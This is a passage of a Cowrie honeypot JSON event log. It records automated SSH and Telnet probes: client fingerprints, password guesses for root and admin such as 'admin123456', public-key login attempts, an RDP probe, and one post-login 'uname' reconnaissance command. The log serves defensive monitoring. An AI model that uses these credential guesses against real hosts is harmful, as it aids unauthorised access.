0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:58.484066Z","src_ip":"45.156.87.204","session":"7659eec2de12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:58.765719Z","src_ip":"45.156.87.204","session":"7659eec2de12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.977790117263794,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:59.268409Z","src_ip":"152.42.224.71","session":"879f913c49b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:59.850952Z","src_ip":"45.156.87.204","session":"7659eec2de12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2351994d24","protocol":"telnet","message":"New connection: 152.42.224.71:54748 (10.17.0.5:23) [session: cf2351994d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:01.745314Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39730,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c6ca8b468bb","protocol":"ssh","message":"New connection: 45.156.87.204:39730 (159.203.135.109:22) [session: 7c6ca8b468bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.313647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.318862Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.404448Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52027,"dst_ip":"159.203.135.109","dst_port":22,"session":"411f60fb2765","protocol":"ssh","message":"New connection: 152.42.212.128:52027 (159.203.135.109:22) [session: 411f60fb2765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.555081Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.566314Z","src_ip":"152.42.212.128","session":"411f60fb2765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.573913Z","src_ip":"152.42.212.128","session":"411f60fb2765","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.678496Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.921402Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:02.926433Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:03.015591Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:03.027191Z","src_ip":"45.156.87.204","session":"7c6ca8b468bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.88.0.252","src_port":53626,"dst_ip":"10.17.0.5","dst_port":22,"session":"106b0ce7e2b9","protocol":"ssh","message":"New connection: 45.88.0.252:53626 (10.17.0.5:22) [session: 106b0ce7e2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:05.787530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:05.796599Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:05.887032Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47252,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84b04e4e625","protocol":"ssh","message":"New connection: 45.156.87.204:47252 (159.203.135.109:22) [session: f84b04e4e625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:05.989100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.002230Z","src_ip":"45.156.87.204","session":"f84b04e4e625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.085382Z","src_ip":"45.156.87.204","session":"f84b04e4e625","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:a7:2c:2d:20:39:35:a7:33:68:bc:ce:62:2f:aa:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt/dz1CV35ezr0prVrGw4TBDbHtgUoUrCVzw3DMsXVsPSpka1qNZf9hvOMbjHm8Agk4KDA/DJKwsbe16E+t9cTEeyVfZNQWM5OCqKB++DqyIEFmh4xy8VyCS2UdtHs/WtgVmS2WjvhD/nOTiONPvAuec47HQOkKNABsu1zHxxc42NlqEFcO2WHpB8V8am9K23XXl0koXBkGk1U72l162gDLyjQ2vWtp1toq8ALUOS5A6xfIL02IzUaTrAZpJ/xKTM12RGTokj4YQ+4Bhk/4UENlif6tb/w1DbxzoVu/FDg2oYRdAeKShLJO8Kd2zql4qmXkqDTCXDOuFPM5I5M0Tx3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:a7:2c:2d:20:39:35:a7:33:68:bc:ce:62:2f:aa:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.310273Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:a7:2c:2d:20:39:35:a7:33:68:bc:ce:62:2f:aa:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt/dz1CV35ezr0prVrGw4TBDbHtgUoUrCVzw3DMsXVsPSpka1qNZf9hvOMbjHm8Agk4KDA/DJKwsbe16E+t9cTEeyVfZNQWM5OCqKB++DqyIEFmh4xy8VyCS2UdtHs/WtgVmS2WjvhD/nOTiONPvAuec47HQOkKNABsu1zHxxc42NlqEFcO2WHpB8V8am9K23XXl0koXBkGk1U72l162gDLyjQ2vWtp1toq8ALUOS5A6xfIL02IzUaTrAZpJ/xKTM12RGTokj4YQ+4Bhk/4UENlif6tb/w1DbxzoVu/FDg2oYRdAeKShLJO8Kd2zql4qmXkqDTCXDOuFPM5I5M0Tx3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.315936Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.357949Z","src_ip":"45.156.87.204","session":"f84b04e4e625","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:bf:19:cc:38:a7:67:41:aa:1d:58:dd:1d:ed:6b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtgp1+lg5FnunFMVSFcuB4Tiei4+T0ZeXLZTzIrjsd6p0+mUzBCOK4xB38wNE5rJLJtt0ZBURXEc3S2ojZIDfudOAUCwNRIJkcZlLfb51CV0dUOd0b0r6zTx8lK7vlrB9ps5qf39zn0t9sp//3L62kJQqJljGYaENqMGjA+7YIPN0iaRpDqA/vtv5vTxjLwqwyrMFycd81YtjJuxh+l07Ms19SepUSzqT6FnnT3wB31ER7F4fzBqw0ctDYqH/E4Wbg1otMQMFZ1uHI1jFG+Xw0mW0cy+UmxU1Wax93qtaxEJVACo6l3D/vYwVhfTDm1ks4TOm3IlDP721MAcnbIe7Nw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:bf:19:cc:38:a7:67:41:aa:1d:58:dd:1d:ed:6b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.408107Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:bf:19:cc:38:a7:67:41:aa:1d:58:dd:1d:ed:6b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtgp1+lg5FnunFMVSFcuB4Tiei4+T0ZeXLZTzIrjsd6p0+mUzBCOK4xB38wNE5rJLJtt0ZBURXEc3S2ojZIDfudOAUCwNRIJkcZlLfb51CV0dUOd0b0r6zTx8lK7vlrB9ps5qf39zn0t9sp//3L62kJQqJljGYaENqMGjA+7YIPN0iaRpDqA/vtv5vTxjLwqwyrMFycd81YtjJuxh+l07Ms19SepUSzqT6FnnT3wB31ER7F4fzBqw0ctDYqH/E4Wbg1otMQMFZ1uHI1jFG+Xw0mW0cy+UmxU1Wax93qtaxEJVACo6l3D/vYwVhfTDm1ks4TOm3IlDP721MAcnbIe7Nw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.412315Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:99:6f:b1:99:1f:76:cc:c9:9d:69:07:fc:0d:0a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtjv1qtWHqY9lt6a39RJ2IhEPgLHTVkOkXuHCwr3MN34o488KiX6w7ilM8AYJrsesYBn04LnCXwZsThtZQNo/pFClwt544fAxkHEt7WS5UL2gzywE1JWH73Qssy2NxbeWbj9Uu2IfGH3rjcxlzHXC7qRvbYUVN8UuaoTvVprb4Vno8f3xwsYv0W+e8161ZOPxTzrn/mMeak4nwWJYKayfX0LfXeV5KtpryE/CCG0BDroYNUDC+Cxdk1ek+A6UamHsub+mG1HA/JbNIQoR6X4NMxywADhI+KhyiigCVUIyFsKSMPzQwM4PtPpnVfqhXdmV5bEA+azIOaLBAvyh+qqa2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:99:6f:b1:99:1f:76:cc:c9:9d:69:07:fc:0d:0a:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.504657Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:99:6f:b1:99:1f:76:cc:c9:9d:69:07:fc:0d:0a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtjv1qtWHqY9lt6a39RJ2IhEPgLHTVkOkXuHCwr3MN34o488KiX6w7ilM8AYJrsesYBn04LnCXwZsThtZQNo/pFClwt544fAxkHEt7WS5UL2gzywE1JWH73Qssy2NxbeWbj9Uu2IfGH3rjcxlzHXC7qRvbYUVN8UuaoTvVprb4Vno8f3xwsYv0W+e8161ZOPxTzrn/mMeak4nwWJYKayfX0LfXeV5KtpryE/CCG0BDroYNUDC+Cxdk1ek+A6UamHsub+mG1HA/JbNIQoR6X4NMxywADhI+KhyiigCVUIyFsKSMPzQwM4PtPpnVfqhXdmV5bEA+azIOaLBAvyh+qqa2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.509926Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:e0:b8:cf:a7:eb:63:f7:76:16:b6:e7:c2:94:80:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAnLtxV8vT44PRNpLaec2SMud/RZju3rlqjmXHNAHZEYr22jpLRE4Sc48ckpVx+Q6gG8B9h1C77K+6rFnSO6ZJ+C+HuMZSXxboMegQpVomWubp2jdDf7CYhkZv9f+PgNQx2Y5YmAe113inDJaj41NDxnJOmYFpaJx2EAuxhUszUbp/SSGmv3uZaVa10yLyO8GI4jy6w+hJa+P2FeGY40fvJBXX7W4ZM7Y3Y62O0r64iu2XiJacEE5eVjAVPDg1+6ixLXrj2YuFPHKOeBP+/UTCoIty2+/lBZ3YZDvlJcqM9hEQPJYIa5pGNJ9PKeUrOyPFPj6libTdBtbP7D8ARUWj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:e0:b8:cf:a7:eb:63:f7:76:16:b6:e7:c2:94:80:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.601851Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:e0:b8:cf:a7:eb:63:f7:76:16:b6:e7:c2:94:80:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAnLtxV8vT44PRNpLaec2SMud/RZju3rlqjmXHNAHZEYr22jpLRE4Sc48ckpVx+Q6gG8B9h1C77K+6rFnSO6ZJ+C+HuMZSXxboMegQpVomWubp2jdDf7CYhkZv9f+PgNQx2Y5YmAe113inDJaj41NDxnJOmYFpaJx2EAuxhUszUbp/SSGmv3uZaVa10yLyO8GI4jy6w+hJa+P2FeGY40fvJBXX7W4ZM7Y3Y62O0r64iu2XiJacEE5eVjAVPDg1+6ixLXrj2YuFPHKOeBP+/UTCoIty2+/lBZ3YZDvlJcqM9hEQPJYIa5pGNJ9PKeUrOyPFPj6libTdBtbP7D8ARUWj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.606489Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:61:cf:71:ef:5c:54:d8:de:85:c3:f4:b1:36:ec:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApxDin2/rv6XdJDzembqpyJd1lo8z+H6JB+f0wDLWToFuMhJLS7FtGaJ57XAiIqLjkyJ6N23AshyMafuq+NQ9CoHCGoOsRo6CUi5/zx/6xE9Y2oRDN95DCpRynvrRqN5MZt7cRNJexGiKzzOT5Vj35wA9xyNmttXJ22OhQoXq1iprW0M7mPWTLvO3Dogaj1Fj0Ki2DALXKE7u7E4yFnOg34+if0kPWX6fTHageEHiJTPGITsGXZFjI6es01zq/o3xdLVQm2TD/tgri+hOWZsFDQGcY+tI2ER8DyOewInLyp9B9cB7Ine80Ji739RGemIborkN6cFTKbIKiFtG7suASQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:61:cf:71:ef:5c:54:d8:de:85:c3:f4:b1:36:ec:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.701284Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:61:cf:71:ef:5c:54:d8:de:85:c3:f4:b1:36:ec:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApxDin2/rv6XdJDzembqpyJd1lo8z+H6JB+f0wDLWToFuMhJLS7FtGaJ57XAiIqLjkyJ6N23AshyMafuq+NQ9CoHCGoOsRo6CUi5/zx/6xE9Y2oRDN95DCpRynvrRqN5MZt7cRNJexGiKzzOT5Vj35wA9xyNmttXJ22OhQoXq1iprW0M7mPWTLvO3Dogaj1Fj0Ki2DALXKE7u7E4yFnOg34+if0kPWX6fTHageEHiJTPGITsGXZFjI6es01zq/o3xdLVQm2TD/tgri+hOWZsFDQGcY+tI2ER8DyOewInLyp9B9cB7Ine80Ji739RGemIborkN6cFTKbIKiFtG7suASQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.706024Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:06.801993Z","src_ip":"45.88.0.252","session":"106b0ce7e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8fdc6d73faf","protocol":"telnet","message":"New connection: 152.42.224.71:40654 (10.17.0.5:23) [session: b8fdc6d73faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:07.029633Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:07.443058Z","src_ip":"45.156.87.204","session":"f84b04e4e625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":52644,"dst_ip":"159.203.135.109","dst_port":22,"session":"7abb6b512376","protocol":"ssh","message":"New connection: 170.106.151.211:52644 (159.203.135.109:22) [session: 7abb6b512376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.428598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:09.434190Z","src_ip":"170.106.151.211","session":"7abb6b512376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS"